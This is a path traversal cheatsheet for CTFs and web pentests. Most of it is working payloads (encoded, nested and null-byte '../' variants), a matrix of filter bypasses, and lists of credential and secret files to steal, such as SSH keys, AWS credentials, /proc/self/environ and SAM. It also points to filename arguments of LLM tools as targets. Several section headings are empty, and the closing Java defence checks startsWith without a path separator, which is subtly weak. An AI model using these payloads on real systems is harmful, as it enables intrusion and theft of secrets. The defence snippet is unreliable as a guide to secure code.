Path Traversal

Cheatsheet for CTFs & web pentests. Based on PortSwigger Web Security Academy.

a.k.a. directory traversal — read (sometimes write) arbitrary files via user-controlled path concatenated into a filesystem call. See also File Inclusion (LFI/RFI) and filename/url args of LLM tools.

Where to look

Core payloads

../../../etc/passwd                       # Unix
..\..\..\windows\win.ini                  # Windows (also ../ works)
/etc/passwd                               # absolute path (when ../ stripped)
....//....//....//etc/passwd              # nested — survives one-pass strip of ../
....\/....\/....\/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd     # URL-encoded ../
%252e%252e%252f...etc/passwd              # double URL-encoded (decoded twice)
..%c0%af..%c0%af..%c0%afetc/passwd        # overlong UTF-8 /
..%ef%bc%8f                                # fullwidth /
/var/www/images/../../../etc/passwd       # base-dir prefix bypass (start-of-path check)
../../../etc/passwd%00.png                # null byte (old PHP / Java <7)
../../../etc/passwd\0.png
../../../etc/passwd#.png  ../../../etc/passwd?.png   # truncate via fragment/query

Bypass matrix (which trick beats which filter)

Filter / defense Bypass
Strips ../ once, non-recursive ....//, ....\/, ..././
Blocks ../ literal URL-encode %2e%2e%2f, double-encode %252e%252e%252f
URL-decodes once then blocks Double URL-encode
Path must start with base dir BASE/../../../etc/passwd
Must end with .png/.jpg ...passwd%00.png, ...passwd\0.png
Strips traversal sequences Absolute path /etc/passwd
WAF on path only Move param to body / JSON / multipart
Only blocks / Try \ (Windows or normalized)
Only blocks .. Symlinks, ./, encoded variants
Canonicalization missing Mixed encodings: ..%2f, %2e%2e/

Juicy targets (Linux)

/etc/passwd                 users
/etc/shadow                 hashes (need root, but sometimes readable in containers)
/etc/hosts /etc/hostname
/proc/self/environ          env vars (often DB creds, secrets)
/proc/self/cmdline /proc/self/status
/proc/self/maps /proc/self/fd/<n>
/var/log/apache2/access.log /var/log/nginx/access.log   (LFI→RCE via UA injection)
/var/www/html/<app>/config.php  .env  wp-config.php
~/.ssh/id_rsa  ~/.bash_history  ~/.aws/credentials
/root/.ssh/id_rsa
/app/<source>/  app source for further bug hunting

Juicy targets (Windows)

C:\Windows\win.ini  C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM   (locked while running)
C:\inetpub\wwwroot\web.config
C:\Users\<user>\NTUser.dat
C:\xampp\apache\conf\httpd.conf

Path traversal → RCE upgrades

Detection tips

Tools

CTF / pentest checklist

Defence (one-liner)

Don’t pass user input to filesystem APIs. If you must: validate against allowlist, then canonicalize (File.getCanonicalPath(), realpath) and verify the resolved path starts with the intended base directory.

File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // safe
}